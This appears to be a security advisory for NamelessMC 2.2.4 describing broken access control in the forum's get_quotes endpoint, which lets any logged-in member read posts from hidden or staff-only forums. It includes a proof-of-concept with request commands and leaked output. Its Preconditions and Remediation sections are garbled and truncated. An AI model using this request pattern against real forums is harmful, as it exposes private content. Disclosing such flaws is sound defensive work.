Any low-privileged authenticated user can enumerate post IDs and read content from hidden, private, or staff-only forums.
docker exec -w /data nameless-224-php-1 php dev/scripts/request_runner.php \
--uri='/forum/topic/2' \
--session-id='mforum_hidden' \
--session-json='{"2user":"memberhash1234567890abcdef","2token":"tok"}'
403 ... You do not have permission to view this page.
docker exec -w /data nameless-224-php-1 php dev/scripts/request_runner.php \
--uri='/forum/get_quotes?post=2' \
--session-id='mforum_hidden' \
--session-json='{"2user":"memberhash1234567890abcdef","2token":"tok"}'
{
"body": "{\"content\":\"<p>TOP SECRET: hidden forum content<\\/p>\",\"author_nickname\":\"admin\",\"link\":\"\\/forum\\/topic\\/2\\/?pid=\"}"
}
Summary
[modules/Forum/pages/forum/get_quotes.php](https://github.com/NamelessMC/Nameless/security/advisories/Nameless-2.2.4/modules/Forum/pages/forum/get_quotes.php)only checks whether the caller is logged in, then reads a post by attacker-controlledpostID and returns its content. The backend helper in[modules/Forum/classes/Forum.php](https://github.com/NamelessMC/Nameless/security/advisories/Nameless-2.2.4/modules/Forum/classes/Forum.php)does not enforce forum or topic ACLs. In contrast, the normal topic page in[modules/Forum/pages/forum/view_topic.php](https://github.com/NamelessMC/Nameless/security/advisories/Nameless-2.2.4/modules/Forum/pages/forum/view_topic.php)enforces forum visibility andview_other_topics.Impact
Any low-privileged authenticated user can enumerate post IDs and read content from hidden, private, or staff-only forums.
Preconditions
membertopic_id=2post_id=2PoC
Observed result:
Observed result:
{ "body": "{\"content\":\"<p>TOP SECRET: hidden forum content<\\/p>\",\"author_nickname\":\"admin\",\"link\":\"\\/forum\\/topic\\/2\\/?pid=\"}" }Remediation
view_topic.phpForum::getIndividualPost()returns content